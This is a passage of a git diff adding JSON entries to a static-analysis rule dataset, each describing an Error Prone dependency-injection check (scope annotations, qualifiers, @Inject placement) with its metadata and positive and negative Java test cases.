@TestAnnotation\n public TestClass4() {}\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.BindingAnnotation;\n import com.google.inject.Inject;\n\n /** A negative test case for InjectedConstructorAnnotation. */\n public class InjectedConstructorAnnotationsNegativeCases {\n\n private @interface TestAnnotation {}\n\n @BindingAnnotation\n private @interface TestBindingAnnotation {}\n\n /** A class with a constructor that has no annotations. */\n public class TestClass1 {\n public TestClass1() {}\n }\n\n /** A class with a constructor that has a binding Annotation. */\n public class TestClass2 {\n @TestBindingAnnotation\n public TestClass2() {}\n }\n\n /** A class with an injected constructor. */\n public class TestClass3 {\n @Inject\n public TestClass3() {}\n }\n\n /** A class with an injected constructor that has a non-binding annotation. */\n public class TestClass4 {\n @Inject\n @TestAnnotation\n public TestClass4() {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InvalidTargetingOnScopingAnnotation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InvalidTargetingOnScopingAnnotation.json new file mode 100644 index 0000000..5a8db01 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InvalidTargetingOnScopingAnnotation.json @@ -0,0 +1,30 @@ +{ + "name": "InvalidTargetingOnScopingAnnotation", + "language": "java", + "description": "A scoping annotation's Target should include TYPE and METHOD.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import static java.lang.annotation.ElementType.CONSTRUCTOR;\n import static java.lang.annotation.ElementType.METHOD;\n import static java.lang.annotation.ElementType.PARAMETER;\n import static java.lang.annotation.ElementType.TYPE;\n import static java.lang.annotation.RetentionPolicy.RUNTIME;\n\n import com.google.inject.ScopeAnnotation;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n import javax.inject.Scope;\n\n /**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\n public class InvalidTargetingOnScopingAnnotationPositiveCases {\n\n /** Scoping excludes METHOD */\n // BUG: Diagnostic contains: @Target({TYPE, METHOD})\n @Target(TYPE)\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation1 {}\n\n /** Scoping excludes TYPE */\n // BUG: Diagnostic contains: @Target({TYPE, METHOD})\n @Target(METHOD)\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation2 {}\n\n /** Scoping excludes both, but has other elements to preserve */\n // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER})\n @Target(PARAMETER)\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation4 {}\n\n /** Scoping includes one of the required ones. */\n // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR})\n @Target({PARAMETER, METHOD, CONSTRUCTOR})\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation5 {}\n\n /** Same as above, but with a different physical manifestation */\n // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR})\n @Target(value = {ElementType.PARAMETER, METHOD, CONSTRUCTOR})\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation6 {}\n\n /** Target annotation is empty, nonsensical since it can't be applied to anything */\n // BUG: Diagnostic contains: @Target({TYPE, METHOD})\n @Target({})\n @ScopeAnnotation\n @Retention(RUNTIME)\n public @interface TestAnnotation7 {}\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport static java.lang.annotation.ElementType.METHOD;\nimport static java.lang.annotation.ElementType.PARAMETER;\nimport static java.lang.annotation.ElementType.TYPE;\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.Target;\nimport javax.inject.Scope;\n\n/**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\npublic class InvalidTargetingOnScopingAnnotationNegativeCases {\n\n /** A scoping annotation with no specified target. */\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation1 {}\n\n /** A scoping annotation that contains more than the required */\n @Target({TYPE, METHOD, PARAMETER})\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation2 {}\n\n /** A scoping annotation with legal targeting. */\n @Target({TYPE, METHOD})\n @Scope\n @Retention(RUNTIME)\n public @interface TestAnnotation3 {}\n\n /**\n * A non-scoping annotation with targeting that would be illegal if it were a scoping annotation.\n */\n @Target(PARAMETER)\n @Retention(RUNTIME)\n public @interface TestAnnotation4 {}\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnAbstractMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnAbstractMethod.json new file mode 100644 index 0000000..9d81165 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnAbstractMethod.json @@ -0,0 +1,30 @@ +{ + "name": "JavaxInjectOnAbstractMethod", + "language": "java", + "description": "Abstract and default methods are not injectable with javax.inject.Inject", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class JavaxInjectOnAbstractMethodPositiveCases {\n\n /** Abstract class has an injectable(javax.inject.Inject) abstract method. */\n public abstract class TestClass1 {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n abstract void abstractMethod();\n }\n\n /**\n * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated concrete\n * method.\n */\n public abstract class TestClass2 {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n abstract void abstractMethod();\n\n public void foo() {}\n }\n\n /**\n * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated abstract\n * method.\n */\n public abstract class TestClass3 {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n abstract void abstractMethod1();\n\n abstract void abstractMethod2();\n }\n\n /** Interface with Inject method, should also fail. */\n public interface TestInterface {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n void abstractMethod();\n }\n\n /** Concrete Implementer of interface. */\n public class Implementing implements TestInterface {\n // No error here\n public void abstractMethod() {}\n }\n\n /** Abstract implementer of interface. */\n public abstract class AbstractImplementing implements TestInterface {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n public abstract void abstractMethod();\n }\n\n interface HasDefault {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n default void foo() {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport javax.inject.Inject;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class JavaxInjectOnAbstractMethodNegativeCases {\n\n /** Concrete class has no methods or annotations. */\n public class TestClass1 {}\n\n /** Abstract class has a single abstract method with no annotation. */\n public abstract class TestClass2 {\n abstract void abstractMethod();\n }\n\n /** Concrete class has an injectable method. */\n public class TestClass3 {\n @Inject\n public void foo() {}\n }\n\n /** Abstract class has an injectable concrete method. */\n public abstract class TestClass4 {\n abstract void abstractMethod();\n\n @Inject\n public void concreteMethod() {}\n }\n\n /**\n * Abstract class has an com.google.inject.Inject abstract method (This is allowed; Injecting\n * abstract methods is only forbidden with javax.inject.Inject).\n */\n public abstract class TestClass5 {\n @com.google.inject.Inject\n abstract void abstractMethod();\n }\n\n /** Abstract class has an injectable(javax.inject.Inject) abstract method. Error is suppressed. */\n public abstract class TestClass6 {\n @SuppressWarnings(\"JavaxInjectOnAbstractMethod\")\n @javax.inject.Inject\n abstract void abstractMethod();\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnFinalField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnFinalField.json new file mode 100644 index 0000000..d48d21f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnFinalField.json @@ -0,0 +1,30 @@ +{ + "name": "JavaxInjectOnFinalField", + "language": "java", + "description": "@javax.inject.Inject cannot be put on a final field.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 42, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import javax.inject.Inject;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class JavaxInjectOnFinalFieldPositiveCases {\n\n /** Class has a final injectable(javax.inject.Inject) field. */\n public class TestClass1 {\n // BUG: Diagnostic contains:\n @Inject public final int n = 0;\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import javax.inject.Inject;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class JavaxInjectOnFinalFieldNegativeCases {\n\n /** Class has no final fields or @Inject annotations. */\n public class TestClass1 {}\n\n /** Class has a final field that is not injectable. */\n public class TestClass2 {\n public final int n = 0;\n }\n\n /** Class has an injectable(javax.inject.Inject) field that is not final. */\n public class TestClass3 {\n @Inject public int n;\n }\n\n /** Class has an injectable(javax.inject.Inject), final method. */\n public class TestClass4 {\n @Inject\n final void method() {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MisplacedScopeAnnotations.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MisplacedScopeAnnotations.json new file mode 100644 index 0000000..71edf66 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MisplacedScopeAnnotations.json @@ -0,0 +1,70 @@ +{ + "name": "MisplacedScopeAnnotations", + "language": "java", + "description": "Scope annotations used as qualifier annotations don't have any effect. Move the scope annotation to the binding location or delete it.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCase_methodInjection", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject\n // BUG: Diagnostic contains: void someMethod( String foo) {}\n void someMethod(@Singleton String foo) {}\n }" + }, + { + "description": "positiveCase_providerMethod", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import com.google.inject.Provides;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Provides\n String provideString(@Singleton @Named(\"foo\") String foo) {\n return foo;\n }\n }\n \n\n import com.google.inject.Provides;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Provides\n String provideString(@Named(\"foo\") String foo) {\n return foo;\n }\n }" + }, + { + "description": "positiveCase_injectConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject\n Foo(@Singleton @Named(\"bar\") String bar) {}\n }\n \n\n import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject\n Foo(@Named(\"bar\") String bar) {}\n }" + }, + { + "description": "positiveCase_injectConstructorMultipleAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject\n Foo(@Singleton String bar, Integer i, @Singleton Long c) {}\n }\n \n\n import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject\n Foo(String bar, Integer i, Long c) {}\n }" + }, + { + "description": "positiveCase_fieldInjection", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject @Singleton String foo;\n }\n \n\n import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject String foo;\n }" + }, + { + "description": "negativeCase_noScopeAnnotationOnInjectedParameters", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import dagger.Provides;\n import dagger.Module;\n import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n @Module\n class Foo {\n @Provides\n @Singleton\n @Named(\"bar\")\n int something(@Named(\"bar\") Integer bar) {\n return 42;\n }\n }" + }, + { + "description": "negativeCase_scopeAnnotationIsAlsoQualifier", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "import dagger.Provides;\n import dagger.Module;\n import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Qualifier;\n import javax.inject.Scope;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n\n @Module\n class Foo {\n @Qualifier\n @Scope\n @Retention(RetentionPolicy.RUNTIME)\n @interface RequestScoped {}\n\n @Provides\n int something(@RequestScoped Integer bar) {\n return 42;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MissingRuntimeRetention.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MissingRuntimeRetention.json new file mode 100644 index 0000000..9e1b801 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MissingRuntimeRetention.json @@ -0,0 +1,62 @@ +{ + "name": "MissingRuntimeRetention", + "language": "java", + "description": "Scoping and qualifier annotations must have runtime retention.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 11, + "apis": 4, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import static java.lang.annotation.ElementType.METHOD;\n import static java.lang.annotation.ElementType.TYPE;\n import static java.lang.annotation.RetentionPolicy.SOURCE;\n\n import com.google.inject.BindingAnnotation;\n import com.google.inject.ScopeAnnotation;\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n import javax.inject.Qualifier;\n import javax.inject.Scope;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class MissingRuntimeRetentionPositiveCases {\n /** A scoping (@Scope) annotation with SOURCE retention */\n @Scope\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n @Retention(SOURCE)\n public @interface TestAnnotation1 {}\n\n /** A scoping (@ScopingAnnotation) annotation with SOURCE retention. */\n @ScopeAnnotation\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n @Retention(SOURCE)\n public @interface TestAnnotation2 {}\n\n /** A qualifier (@Qualifier) annotation with SOURCE retention. */\n @Qualifier\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n @Retention(SOURCE)\n public @interface TestAnnotation3 {}\n\n /** A qualifier (@BindingAnnotation) annotation with SOURCE retention. */\n @BindingAnnotation\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n @Retention(SOURCE)\n public @interface TestAnnotation4 {}\n\n /** A qualifier annotation with default retention. */\n @BindingAnnotation\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n public @interface TestAnnotation5 {}\n\n /** A dagger map key annotation with default retention. */\n @dagger.MapKey\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n public @interface TestAnnotation6 {}\n\n /** A Guice map key annotation with default retention. */\n @com.google.inject.multibindings.MapKey\n @Target({TYPE, METHOD})\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n public @interface TestAnnotation7 {}\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import static java.lang.annotation.ElementType.METHOD;\n import static java.lang.annotation.ElementType.TYPE;\n import static java.lang.annotation.RetentionPolicy.RUNTIME;\n import static java.lang.annotation.RetentionPolicy.SOURCE;\n\n import com.google.inject.BindingAnnotation;\n import com.google.inject.ScopeAnnotation;\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n import javax.inject.Qualifier;\n import javax.inject.Scope;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class MissingRuntimeRetentionNegativeCases {\n /** A scoping (@Scope) annotation with runtime retention */\n @Scope\n @Target({TYPE, METHOD})\n @Retention(RUNTIME)\n public @interface TestAnnotation1 {}\n\n /** A scoping (@ScopingAnnotation) annotation with runtime retention. */\n @ScopeAnnotation\n @Target({TYPE, METHOD})\n @Retention(RUNTIME)\n public @interface TestAnnotation2 {}\n\n /** A qualifier (@Qualifier) annotation with runtime retention. */\n @Qualifier\n @Target({TYPE, METHOD})\n @Retention(RUNTIME)\n public @interface TestAnnotation3 {}\n\n /** A qualifier (@BindingAnnotation) annotation with runtime retention. */\n @BindingAnnotation\n @Target({TYPE, METHOD})\n @Retention(RUNTIME)\n public @interface TestAnnotation4 {}\n\n /** A non-qualifier, non-scoping annotation without runtime retention. */\n @Retention(SOURCE)\n public @interface TestAnnotation5 {}\n\n /** A dagger map key annotation. */\n @dagger.MapKey\n @Retention(RUNTIME)\n public @interface TestAnnotation6 {}\n\n /** A Guice map key annotation. */\n @com.google.inject.multibindings.MapKey\n @Retention(RUNTIME)\n public @interface TestAnnotation7 {}\n }\\" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "import static java.lang.annotation.ElementType.METHOD;\n import static java.lang.annotation.ElementType.TYPE;\n\n import java.lang.annotation.Target;\n import javax.inject.Qualifier;\n\n @Qualifier\n @Target({TYPE, METHOD})\n public @interface Anno {}\n \n\n import static java.lang.annotation.ElementType.METHOD;\n import static java.lang.annotation.ElementType.TYPE;\n import static java.lang.annotation.RetentionPolicy.RUNTIME;\n\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n import javax.inject.Qualifier;\n\n @Qualifier\n @Target({TYPE, METHOD})\n @Retention(RUNTIME)\n public @interface Anno {}" + }, + { + "description": "nestedQualifierInDaggerModule", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "@dagger.Module\n class DaggerModule {\n @javax.inject.Scope\n public @interface TestAnnotation {}\n }" + }, + { + "description": "ignoredOnAndroid", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "@javax.inject.Scope\n public @interface TestAnnotation {}" + }, + { + "description": "sourceRetentionStillFiringOnAndroid", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n\n @javax.inject.Scope\n // BUG: Diagnostic contains: @Retention(RUNTIME)\n @Retention(RetentionPolicy.SOURCE)\n public @interface TestAnnotation {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneInjectableConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneInjectableConstructor.json new file mode 100644 index 0000000..2cc893d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneInjectableConstructor.json @@ -0,0 +1,30 @@ +{ + "name": "MoreThanOneInjectableConstructor", + "language": "java", + "description": "This class has more than one @Inject-annotated constructor. Please remove the @Inject annotation from all but one of them.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.Inject;\nimport java.beans.ConstructorProperties;\n\n/**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\npublic class MoreThanOneInjectableConstructorPositiveCases {\n\n /** Class has 2 constructors, both are injectable */\n // BUG: Diagnostic contains: MoreThanOneInjectableConstructor\n public class TestClass1 {\n @Inject\n public TestClass1() {}\n\n @Inject\n public TestClass1(int n) {}\n }\n\n /** Class has 3 constructors, two of which are injectable. */\n // BUG: Diagnostic contains: MoreThanOneInjectableConstructor\n public class TestClass2 {\n @Inject\n public TestClass2() {}\n\n public TestClass2(int n) {}\n\n @Inject\n public TestClass2(String s) {}\n }\n\n /**\n * testing that the error appears on the @Inject annotation even in the presence of other\n * annotations\n */\n // BUG: Diagnostic contains: MoreThanOneInjectableConstructor\n public class TestClass3 {\n @Inject\n public TestClass3() {}\n\n @Inject\n @ConstructorProperties({\"m\", \"n\"})\n public TestClass3(int m, int n) {}\n }\n\n /** Fails on 3 constructors w/ @Inject */\n // BUG: Diagnostic contains: MoreThanOneInjectableConstructor\n public class TestClass4 {\n @Inject\n public TestClass4() {}\n\n @Inject\n public TestClass4(int m, int n) {}\n\n @Inject\n public TestClass4(int m, int n, boolean x) {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.Inject;\n\n/**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\npublic class MoreThanOneInjectableConstructorNegativeCases {\n\n /** Class has a single non-injectable constructor. */\n public class TestClass1 {\n public TestClass1() {}\n }\n\n /** Class has a single injectable constructor. */\n public class TestClass2 {\n @Inject\n public TestClass2() {}\n }\n\n /** Class has two constructors, one of which is injectable. */\n public class TestClass3 {\n @Inject\n public TestClass3() {}\n\n public TestClass3(int n) {}\n }\n\n /** Class has two constructors, one of which is injectable. Class also has an injectable field. */\n public class TestClass4 {\n\n @Inject String x;\n\n @Inject\n public TestClass4() {}\n\n public TestClass4(int n) {}\n }\n\n /** Class has 2 constructors, both are injectable. Error is suppressed. */\n @SuppressWarnings(\"MoreThanOneInjectableConstructor\")\n public class TestClass5 {\n @Inject\n public TestClass5() {}\n\n @Inject\n public TestClass5(int n) {}\n }\n\n /** Suppressed class */\n @SuppressWarnings(\"inject-constructors\")\n public class TestClass6 {\n @Inject\n public TestClass6() {}\n\n @Inject\n public TestClass6(int n) {}\n }\n\n /** Suppressed class */\n @SuppressWarnings(\"InjectMultipleAtInjectConstructors\")\n public class TestClass7 {\n @Inject\n public TestClass7() {}\n\n @Inject\n public TestClass7(int n) {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneQualifier.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneQualifier.json new file mode 100644 index 0000000..ed0f897 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneQualifier.json @@ -0,0 +1,30 @@ +{ + "name": "MoreThanOneQualifier", + "language": "java", + "description": "Using more than one qualifier annotation on the same element is not allowed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\nimport com.google.inject.BindingAnnotation;\nimport java.lang.annotation.Retention;\nimport javax.inject.Qualifier;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class MoreThanOneQualifierPositiveCases {\n\n /**\n * A class in which the class, a constructor, a field, a method, and a method parameter each have\n * two com.google.inject.BindingAnnotation annotations.\n */\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Foo2\n public class TestClass1 {\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Foo2\n private int n;\n\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Foo2\n public TestClass1() {}\n\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Foo2\n public void setN(\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Foo2\n int n) {}\n }\n\n /**\n * A class in which the class, a constructor, a field, a method, and a method parameter each have\n * two javax.inject.Qualifier annotations.\n */\n\n // BUG: Diagnostic contains: remove\n @Bar1\n // BUG: Diagnostic contains: remove\n @Bar2\n public class TestClass2 {\n // BUG: Diagnostic contains: remove\n @Bar1\n // BUG: Diagnostic contains: remove\n @Bar2\n private int n;\n\n // BUG: Diagnostic contains: remove\n @Bar1\n // BUG: Diagnostic contains: remove\n @Bar2\n public TestClass2() {}\n\n // BUG: Diagnostic contains: remove\n @Bar1\n // BUG: Diagnostic contains: remove\n @Bar2\n public void setN(\n // BUG: Diagnostic contains: remove\n @Bar1\n // BUG: Diagnostic contains: remove\n @Bar2\n int n) {}\n }\n\n /**\n * A class in which the class, a constructor, a field, a method, and a method parameter each have\n * one javax.inject.Qualifier annotation and one com.google.inject.BindingAnnotation annotation.\n */\n\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Bar1\n public class TestClass3 {\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Bar1\n private int n;\n\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Bar1\n public TestClass3() {}\n\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Bar1\n public void setN(\n // BUG: Diagnostic contains: remove\n @Foo1\n // BUG: Diagnostic contains: remove\n @Bar1\n int n) {}\n }\n\n @Qualifier\n @Retention(RUNTIME)\n public @interface Foo1 {}\n\n @Qualifier\n @Retention(RUNTIME)\n public @interface Foo2 {}\n\n @BindingAnnotation\n @Retention(RUNTIME)\n public @interface Bar1 {}\n\n @BindingAnnotation\n @Retention(RUNTIME)\n public @interface Bar2 {}\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\nimport com.google.inject.BindingAnnotation;\nimport java.lang.annotation.Retention;\nimport javax.inject.Qualifier;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class MoreThanOneQualifierNegativeCases {\n /** A class in with no annotations on any of its members. */\n public class TestClass1 {\n private int n;\n\n public TestClass1() {}\n\n public void setN(int n) {}\n }\n\n /**\n * A class in which a single javax.inject.Qualifier annotation is on the class, on a constructor,\n * on a field, on a method, and on a method parameter.\n */\n @Foo\n public class TestClass2 {\n @Foo private int n;\n\n @Foo\n public TestClass2() {}\n\n @Foo\n public void setN(@Foo int n) {}\n }\n\n /**\n * A class in which a single com.google.inject.BindingAnnotation annotation is on the class, on a\n * constructor, on a field, on a method, and on a method parameter.\n */\n @Bar\n public class TestClass3 {\n @Bar private int n;\n\n @Bar\n public TestClass3() {}\n\n @Bar\n public void setN(@Bar int n) {}\n }\n\n @Qualifier\n @Retention(RUNTIME)\n public @interface Foo {}\n\n @BindingAnnotation\n @Retention(RUNTIME)\n public @interface Bar {}\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneScopeAnnotationOnClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneScopeAnnotationOnClass.json new file mode 100644 index 0000000..0a5211a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneScopeAnnotationOnClass.json @@ -0,0 +1,30 @@ +{ + "name": "MoreThanOneScopeAnnotationOnClass", + "language": "java", + "description": "A class can be annotated with at most one scope annotation.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.Singleton;\n import com.google.inject.servlet.SessionScoped;\n import javax.inject.Scope;\n\n /**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\n public class MoreThanOneScopeAnnotationOnClassPositiveCases {\n\n /** Class has two scope annotations */\n @Singleton\n @SessionScoped\n // BUG: Diagnostic contains:\n class TestClass1 {}\n\n /** Class has three annotations, two of which are scope annotations. */\n @Singleton\n @SuppressWarnings(\"foo\")\n @SessionScoped\n // BUG: Diagnostic contains:\n class TestClass2 {}\n\n @Scope\n @interface CustomScope {}\n\n @Singleton\n @CustomScope\n @SessionScoped\n // BUG: Diagnostic contains:\n class TestClass3 {}\n }\\" + }, + { + "description": 